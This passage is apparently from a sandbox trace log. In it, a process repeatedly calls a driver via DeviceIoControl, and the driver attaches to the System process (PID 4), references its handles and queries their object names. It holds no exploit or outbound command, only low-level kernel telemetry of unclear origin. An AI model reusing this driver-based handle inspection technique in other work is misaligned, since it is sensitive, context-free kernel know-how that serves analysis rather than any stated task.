lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.137] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.138] PsAcquireProcessExitSynchronization () returned 0x0 [0135.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.138] ObReferenceObjectByHandle (in: Handle=0xffffffff80000684, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002092430, HandleInformation=0x0) returned 0x0 [0135.138] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.138] PsReleaseProcessExitSynchronization () returned 0x2 [0135.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.138] ObQueryNameString (in: Object=0xfffffa8002092430, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.138] ObfDereferenceObject (Object=0xfffffa8002092430) returned 0x2 [0135.138] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.138] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.138] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.138] PsAcquireProcessExitSynchronization () returned 0x0 [0135.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.138] ObReferenceObjectByHandle (in: Handle=0xffffffff80000688, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800214e050, HandleInformation=0x0) returned 0x0 [0135.138] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.138] PsReleaseProcessExitSynchronization () returned 0x2 [0135.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.138] ObQueryNameString (in: Object=0xfffffa800214e050, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.138] ObfDereferenceObject (Object=0xfffffa800214e050) returned 0x2 [0135.138] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.138] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.138] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.138] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.138] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.138] PsAcquireProcessExitSynchronization () returned 0x0 [0135.138] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.138] ObReferenceObjectByHandle (in: Handle=0xffffffff8000068c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80037b03a0, HandleInformation=0x0) returned 0x0 [0135.138] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.138] PsReleaseProcessExitSynchronization () returned 0x2 [0135.138] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.138] ObQueryNameString (in: Object=0xfffffa80037b03a0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.138] ObfDereferenceObject (Object=0xfffffa80037b03a0) returned 0x2 [0135.138] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.139] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.139] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.139] PsAcquireProcessExitSynchronization () returned 0x0 [0135.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.139] ObReferenceObjectByHandle (in: Handle=0xffffffff80000690, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002154660, HandleInformation=0x0) returned 0x0 [0135.139] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.139] PsReleaseProcessExitSynchronization () returned 0x2 [0135.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.139] ObQueryNameString (in: Object=0xfffffa8002154660, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.139] ObfDereferenceObject (Object=0xfffffa8002154660) returned 0x2 [0135.139] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.139] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.139] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.139] PsAcquireProcessExitSynchronization () returned 0x0 [0135.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.139] ObReferenceObjectByHandle (in: Handle=0xffffffff80000698, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80021451f0, HandleInformation=0x0) returned 0x0 [0135.139] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.139] PsReleaseProcessExitSynchronization () returned 0x2 [0135.139] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.139] ObQueryNameString (in: Object=0xfffffa80021451f0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.139] ObfDereferenceObject (Object=0xfffffa80021451f0) returned 0x2 [0135.139] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.139] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.139] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.139] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.139] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.139] PsAcquireProcessExitSynchronization () returned 0x0 [0135.139] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.139] ObReferenceObjectByHandle (in: Handle=0xffffffff8000069c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800211c590, HandleInformation=0x0) returned 0x0 [0135.139] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.140] PsReleaseProcessExitSynchronization () returned 0x2 [0135.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.140] ObQueryNameString (in: Object=0xfffffa800211c590, ObjectNameInfo=0xfffffa8003425044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003425044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.140] ObfDereferenceObject (Object=0xfffffa800211c590) returned 0x2 [0135.140] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.140] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.140] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.140] PsAcquireProcessExitSynchronization () returned 0x0 [0135.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.140] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8003495c70, HandleInformation=0x0) returned 0x0 [0135.140] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.140] PsReleaseProcessExitSynchronization () returned 0x2 [0135.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.140] ObQueryNameString (in: Object=0xfffffa8003495c70, ObjectNameInfo=0xfffffa800390e204, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800390e204, ReturnLength=0xfffff88005473550) returned 0x0 [0135.140] ObfDereferenceObject (Object=0xfffffa8003495c70) returned 0x2 [0135.140] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.140] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.140] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.140] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.140] PsAcquireProcessExitSynchronization () returned 0x0 [0135.140] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.140] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80022f8700, HandleInformation=0x0) returned 0x0 [0135.140] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.140] PsReleaseProcessExitSynchronization () returned 0x2 [0135.140] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.140] ObQueryNameString (in: Object=0xfffffa80022f8700, ObjectNameInfo=0xfffffa8003a1e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a1e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.140] ObfDereferenceObject (Object=0xfffffa80022f8700) returned 0x2 [0135.140] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.140] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.140] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.140] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.141] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.141] PsAcquireProcessExitSynchronization () returned 0x0 [0135.141] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.141] ObReferenceObjectByHandle (in: Handle=0xffffffff800006a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002145050, HandleInformation=0x0) returned 0x0 [0135.141] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.141] PsReleaseProcessExitSynchronization () returned 0x2 [0135.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.141] ObQueryNameString (in: Object=0xfffffa8002145050, ObjectNameInfo=0xfffffa800204f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800204f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.141] ObfDereferenceObject (Object=0xfffffa8002145050) returned 0x2 [0135.141] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.141] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.141] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.141] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.141] PsAcquireProcessExitSynchronization () returned 0x0 [0135.141] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.141] ObReferenceObjectByHandle (in: Handle=0xffffffff800006ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002120590, HandleInformation=0x0) returned 0x0 [0135.141] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.141] PsReleaseProcessExitSynchronization () returned 0x2 [0135.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.141] ObQueryNameString (in: Object=0xfffffa8002120590, ObjectNameInfo=0xfffffa800203e044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800203e044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.141] ObfDereferenceObject (Object=0xfffffa8002120590) returned 0x2 [0135.141] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.141] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.141] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.141] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.141] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.141] PsAcquireProcessExitSynchronization () returned 0x0 [0135.141] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.141] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80020886e0, HandleInformation=0x0) returned 0x0 [0135.141] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.141] PsReleaseProcessExitSynchronization () returned 0x2 [0135.141] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.141] ObQueryNameString (in: Object=0xfffffa80020886e0, ObjectNameInfo=0xfffffa8003a29044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a29044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.141] ObfDereferenceObject (Object=0xfffffa80020886e0) returned 0x2 [0135.142] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.142] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.142] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.142] PsAcquireProcessExitSynchronization () returned 0x0 [0135.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.142] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80019d7730, HandleInformation=0x0) returned 0x0 [0135.142] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.142] PsReleaseProcessExitSynchronization () returned 0x2 [0135.142] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.142] ObQueryNameString (in: Object=0xfffffa80019d7730, ObjectNameInfo=0xfffffa8003a6f044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a6f044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.142] ObfDereferenceObject (Object=0xfffffa80019d7730) returned 0x2 [0135.142] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.142] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.142] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.142] PsAcquireProcessExitSynchronization () returned 0x0 [0135.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.142] ObReferenceObjectByHandle (in: Handle=0xffffffff800006b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002142050, HandleInformation=0x0) returned 0x0 [0135.142] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.142] PsReleaseProcessExitSynchronization () returned 0x2 [0135.142] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.142] ObQueryNameString (in: Object=0xfffffa8002142050, ObjectNameInfo=0xfffffa8002041044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8002041044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.142] ObfDereferenceObject (Object=0xfffffa8002142050) returned 0x2 [0135.142] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.142] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.142] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0135.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.142] PsAcquireProcessExitSynchronization () returned 0x0 [0135.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800006bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa8002125660, HandleInformation=0x0) returned 0x0 [0135.143] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.143] PsReleaseProcessExitSynchronization () returned 0x2 [0135.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.143] ObQueryNameString (in: Object=0xfffffa8002125660, ObjectNameInfo=0xfffffa8003a72044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8003a72044, ReturnLength=0xfffff88005473550) returned 0x0 [0135.143] ObfDereferenceObject (Object=0xfffffa8002125660) returned 0x2 [0135.143] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.143] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.143] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.143] PsAcquireProcessExitSynchronization () returned 0x0 [0135.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800248f050, HandleInformation=0x0) returned 0x0 [0135.143] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0135.143] PsReleaseProcessExitSynchronization () returned 0x2 [0135.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x192 [0135.143] ObQueryNameString (in: Object=0xfffffa800248f050, ObjectNameInfo=0xfffffa800391a7c4, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa800391a7c4, ReturnLength=0xfffff88005473550) returned 0x0 [0135.143] ObfDereferenceObject (Object=0xfffffa800248f050) returned 0x2 [0135.143] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0135.143] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x330000) returned 1 [0135.143] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0135.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0135.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0135.143] PsAcquireProcessExitSynchronization () returned 0x0 [0135.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054735d0) [0135.143] ObReferenceObjectByHandle (in: Handle=0xffffffff800006c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80022efa40, HandleInformation=0x0) returned 0x0 [0135.143] KeUnstackDetachProcess 